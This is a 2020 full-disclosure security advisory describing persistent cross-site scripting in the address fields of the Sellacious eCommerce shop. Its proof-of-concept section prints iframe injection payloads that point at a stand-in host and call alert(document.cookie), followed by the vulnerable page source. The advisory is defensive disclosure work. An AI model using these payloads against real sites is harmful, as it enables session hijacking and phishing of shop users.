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Date: Wed, 13 May 2020 09:14:15 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Sellacious eCommerce - Multiple Persistent Vulnerabilities

Document Title:
===============
Sellacious eCommerce - Multiple Persistent Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2226


Release Date:
=============
2020-05-08


Vulnerability Laboratory ID (VL-ID):
====================================
2226


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Sellacious is a perfect solution for all your b2b needs, coded and built
to render all user groups, Be it Small, Medium or Enterprise.
Sellacious is fixed with all the features required for a b2b online
store making it a model b2b eCommerce software. Unlike other
solutions, requires extremely less plugins to make it a complete
solution which defines it as a fit Enterprise eCommerce Software.
Sellacious is designed to render the users an interface which supports
the running of your first Online store or Joomla Marketplace
under 2 minutes. Be it a store with just a fraction of products or with
thousands of variations, Sellacious - an extremely dependable
eCommerce marketplace software is delivered to handle them all with just
a few clicks.

(Copy of the Homepage:
https://www.sellacious.com/free-open-source-ecommerce-software )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the Sellacious eCommerce Shop CMS.


Vulnerability Disclosure Timeline:
==================================
2020-05-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the official Sellacious eCommerce Shop CMS (2020 Q1).
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The cross site web vulnerabilities are located in the all the adress
input fields of the `Manage Your Addresses` module.
Remote attackers are able to register a low privilege user account to
inject own malicious script code to the adress
information page. The execution of the script code occurs each time the
adress information is used in the web ui of
the ecommerce application. The request method to inject is POST and the
attack vector is persistent on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Manage Your Addresses

Vulnerable Input(s):
[+] Full name
[+] First name
[+] Middle name
[+] Last name
[+] Company
[+] PO Box
[+] Address
[+] Landmark

Affected(s):
[+] index.php/manage-your-addresses
[+] Backend user adress information listing


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with user account and low user interaction.
For security demonstration or to reproduce the web vulnerability follow
the provided information and steps below to continue.


PoC: Exploitation
<iframe src="evil.source" onload=alert(document.cookie)>
<iframe src="evil.source" onload=alert(document.domain)>


PoC: Vulnerable Source
<div class="addresses-container">
<div class="address-heading">
<h2>Your addresses
<a href="#address-form-0" role="button" data-toggle="ctech-modal"
class="ctech-mb-3 btn-add-address ctech-float-right ctech-text-primary">
<i class="fa fa-plus"></i> <span class="add-address-text">Add New
Address</span></a></h2></div>
<div id="addresses" class="cart-aio ctech-text-center">
<div id="address-editor">
<ul id="address-items" data-original-title="" title=""> <li
class="address-item" id="address-item-9"> <div class="ctech-float-right
address-action">
<button type="button" class="ctech-btn ctech-btn-small ctech-btn-default
hasTooltip remove-address" data-placement="bottom" data-id="9" title=""
data-original-title="Delete"><i class="fa fa-trash-alt"></i></button> <a
href="#address-form-9" role="button" data-toggle="ctech-modal"
data-placement="bottom"
class="ctech-btn ctech-btn-small ctech-btn-default hasTooltip" title=""
data-original-title="Edit"><i class="fa fa-edit"></i></a> </div>
<div class="address-content"> <span class="address_name">&gt;"<iframe
src="evil.source"></span> <span class="address_company">>"<iframe
src="evil.source"></span>
<span class="address_po_box">PO #: >"<iframe src="evil.source"></span>
<span class="address_address has-comma">>"<iframe src="evil.source"></span>
<span class="address_landmark has-comma">>"<iframe
src="evil.source"></span> <span class="address_country">United
States</span>
<div class="cart_address_box w100p"> <div class="cart_address_buttons">
</div> </div> </div> </li> <li class="address-item odd-address-item">
<a href="#address-form-0" role="button" data-toggle="ctech-modal"
class="btn-new-address"><i class="fa fa-plus"></i></a> </li>
</iframe></span></div></li></ul>
<div class="ctech-wrapper">
</div><div class="ctech-clearfix"></div>
</div><div class="ctech-clearfix"></div>
</div></div>


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
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not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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